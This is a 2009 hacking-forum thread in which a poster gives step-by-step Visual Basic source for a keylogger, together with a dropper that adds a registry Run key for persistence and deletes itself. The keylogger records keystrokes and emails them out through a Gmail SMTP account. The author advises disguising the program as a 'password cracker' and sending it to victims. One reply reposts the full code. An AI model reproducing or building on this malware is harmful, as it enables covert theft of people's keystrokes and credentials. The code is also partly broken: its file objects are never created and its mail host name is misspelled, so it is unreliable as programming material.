

Forum:[Hack Forums](#)

Thread: [Creating an Intermediate Keylogger](#)

[ZERO] - May 16, 2009, 8:32 am

VB 2008 required

First off all make 2 Gmail accounts (random numbers will do), now go into the settings of each of those and enable pop3, they should work now with outlook, one will be the sender and the other will be the receiver, now create a c# project called intermediate keylogger: now create 2 textboxes, textbox1 and textbox2, make textbox2 multiline (the file will load into it) and create 2 timers, timer 1 and timer 2, set timer 1 to an interval of 60000 (this is equivalent to 1 min) and timer2 to an interval of 1 (this is 1 millisecond), set it for 0% opacity and showintaskbar to false. Now set the code to this:

' this will inport the main stuff

Imports System.Net.Mail

Public Class Form1

Dim result As Integer

'this will declare a function that will allow the keys to be logged

Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer

Private Sub Timer2_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs)

Handles Timer2.Tick

Dim filetxt, getname, path, filesys

'this will make textbox2 contain all of the text from log.log

path = filesys.GetPathName("C:\windows\system32\log.log")

getname = filesys.GetFileName(path)

TextBox2.Text = filetxt.text

filetxt.Close()

'this will send the text from textbox2 to an email (from - Email address removed from bots
quote post to view - currently and to - Email address removed from bots quote post to view -

Dim message As New MailMessage()

Dim client As New SmtpClient()

Dim sfile As String = TextBox1.Text

Dim sUser As String

Dim sPassword As String

message.From = New MailAddress("- Email address removed from bots quote post to view -")

message.To.Add("- Email address removed from bots quote post to view -")

message.Subject = "keylogger"

message.Body = TextBox2.Text

'this will logon to the STMP server whitch is currently stmp.gmail.com

sUser = "- Email address removed from bots quote post to view -"

sPassword = "password"

client.Host = "stmp.gmail.com"

'this should send the message

client.Send(message)

End Sub

Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs)

Handles Timer1.Tick

'Here is where it log the keystates every milisecond and add them to the text of textbox1

For i = 1 To 255

```

        result = 0
        result = GetAsyncKeyState(i)

        If result = -32767 Then
            TextBox1.Text = Chr(i)
        End If
    Next i
    ' this will now send the logged text from textbox1 to the file log.log in the directory
c:\windows\system32
    Dim filetxt, getname, path, filesys
    path = filesys.GetPathName("C:\windows\system32\log.log")
    getname = filesys.GetFileName(path)
    filetxt.WriteLine(TextBox1.Text)
    filetxt.Close()
    'this will clear textbox 1
    TextBox1.Text = ""
End Sub
End Class

```

This will cause the data to be added to textbox1 and the written to your keylogger file, and will clear the textbox (so you don't get "æ" and then "ab" for example), now we must create an extractor to create the stuff (so that it will work) we should create a project called intermediate keylogger extractor, set it for 0% opacity and showintaskbar to false and create 2 textboxes, textbox1 and textbox2 set both to multiline and create this code:

```

Public Class Form1

    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs)
Handles MyBase.Load
        Dim shell
        'This will create 3 files, reg.reg, sys.exe and log.log and then will write to those files and set the
data
        'for reg.reg and sys.exe and then will run reg.reg to add the files to the registry and then will
delete itself
        ' and reg.reg
        Shell = CreateObject("wscript.shell")
        shell.run("c:\windows\system32\reg.reg")
        shell = Nothing
        shell = CreateObject("wscript.shell")
        shell.run("c:\windows\system32\sys.exe")
        shell = Nothing
        shell = CreateObject("wscript.shell")
        shell.run("c:\windows\system32\log.log")
        shell = Nothing
        Dim filetxt, getname, path, filesys
        path = filesys.GetPathName("C:\windows\system32\reg.reg")
        getname = filesys.GetFileName(path)
        filetxt.WriteLine(TextBox1.Text)
        filetxt.Close()
        path = filesys.GetPathName("C:\windows\system32\sys.exe")
        getname = filesys.GetFileName(path)
        filetxt.WriteLine(TextBox2.Text)
        filetxt.Close()
        shell.run("c:\windows\system32\reg.reg")
    End Sub
End Class

```

```

My.Computer.FileSystem.DeleteFile("c:\windows\system32\reg.reg")
My.Computer.FileSystem.DeleteFile("passwordcracker.exe")
End Sub

```

End Class

This will cause it to create 3 files, one will be add files to the registry. Set the first textbox with the text:

Windows Registry Editor Version 5.00

```

[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run]
"sys"="c:\\windows\\system32\\sys.exe"

```

And rename your keylogger keylogger.txt now open it and copy the data to textbox2, compile it and rename the file passwordcracker.exe (it will delete itself this way due to the code:

```

My.Computer.FileSystem.DeleteFile("passwordcracker.exe")

```

You can change this code for the filename if you change the filename, compile it and send it to someone requesting a "password cracker" (those people are wannabe hackers usually and there not that hard to find)

Pooscooper - May 16, 2009, 10:11 am

lol, thanks for a source code.

Vebedot - May 16, 2009, 10:13 am

You could have putted the code in .

And, this doesn't log special keys.

?

Back_track - May 16, 2009, 4:14 pm

Code ' this will inport the main stuff

```
Imports System.Net.Mail
```

```
Public Class Form1
```

```
    Dim result As Integer
```

```
    'this will declare a function that will allow the keys to be logged
```

```
    Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
```

```
    Private Sub Timer2_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs)
```

Handles Timer2.Tick

```
        Dim filetxt, getname, path, filesys
```

```
        'this will make textbox2 contain all of the text from log.log
```

```
        path = filesys.GetPathName("C:\windows\system32\log.log")
```

```
        getname = filesys.GetFileName(path)
```

```
        TextBox2.Text = filetxt.text
```

```
        filetxt.Close()
```

'this will send the text from textbox2 to an email (from - Email address removed from bots
quote post to view - currently and to - Email address removed from bots quote post to view -

```
        Dim message As New MailMessage()
```

```
        Dim client As New SmtpClient()
```

```
        Dim sfile As String = TextBox1.Text
```

```
        Dim sUser As String
```

```
        Dim sPassword As String
```

```
        message.From = New MailAddress("- Email address removed from bots quote post to view -")
```

```
        message.To.Add("- Email address removed from bots quote post to view -")
```

```
        message.Subject = "keylogger"
```

```

message.Body = TextBox2.Text
'this will logon to the STMP server which is currently stmp.gmail.com
sUser = " - Email address removed from bots quote post to view -"
sPassword = "password"
client.Host = "stmp.gmail.com"
'this should send the message
client.Send(message)
End Sub

```

```

Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs)
Handles Timer1.Tick
'Here is where it log the keystates every milisecond and add them to the text of textbox1
For i = 1 To 255
    result = 0
    result = GetAsyncKeyState(i)

    If result = -32767 Then
        TextBox1.Text = Chr(i)
    End If
Next i
'this will now send the logged text from textbox1 to the file log.log in the directory
c:\windows\system32
Dim filetxt, getname, path, filesys
path = filesys.GetPathName("C:\windows\system32\log.log")
getname = filesys.GetFileName(path)
filetxt.WriteLine(TextBox1.Text)
filetxt.Close()
'this will clear textbox 1
TextBox1.Text = ""
End Sub
End Class

```

This will cause the data to be added to textbox1 and the written to your keylogger file, and will clear the textbox (so you don't get "æ" and then "ab" for example), now we must create a extractor to create the stuff (so that it will work) we should create a project called intermediate keylogger extractor, set it for 0% opacity and showintaskbar to false and create 2 textboxes, textbox1 and textbox2 set both to multiline and create this code:

```
Public Class Form1
```

```

Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs)
Handles MyBase.Load
Dim shell
'This will create 3 files, reg.reg, sys.exe and log.log and then will write to those files and set the
data
'for reg.reg and sys.exe and then will run reg.reg to add the files to the registry and then will
delete itself
'and reg.reg
Shell = CreateObject("wscript.shell")
shell.run("c:\windows\system32\reg.reg")
shell = Nothing
shell = CreateObject("wscript.shell")
shell.run("c:\windows\system32\sys.exe")
shell = Nothing

```

```

shell = CreateObject("wscript.shell")
shell.run("c:\windows\system32\log.log")
shell = Nothing
Dim filetxt, getname, path, filesys
path = filesys.GetPathName("C:\windows\system32\reg.reg")
getname = filesys.GetFileName(path)
filetxt.WriteLine(TextBox1.Text)
filetxt.Close()
path = filesys.GetPathName("C:\windows\system32\sys.exe")
getname = filesys.GetFileName(path)
filetxt.WriteLine(TextBox2.Text)
filetxt.Close()
shell.run("c:\windows\system32\reg.reg")
My.Computer.FileSystem.DeleteFile("c:\windows\system32\reg.reg")
My.Computer.FileSystem.DeleteFile("passwordcracker.exe")

```

End Sub

End Class

This will cause it to create 3 files, one will be add files to the registry. Set the first textbox with the text:

Windows Registry Editor Version 5.00

[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run]

"sys"="c:\windows\system32\sys.exe"

And rename your keylogger keylogger.txt now open it and copy the data to textbox2, compile it and rename the file passwordcracker.exe (it will delete itself this way due to the code:

My.Computer.FileSystem.DeleteFile("passwordcracker.exe")There it is coded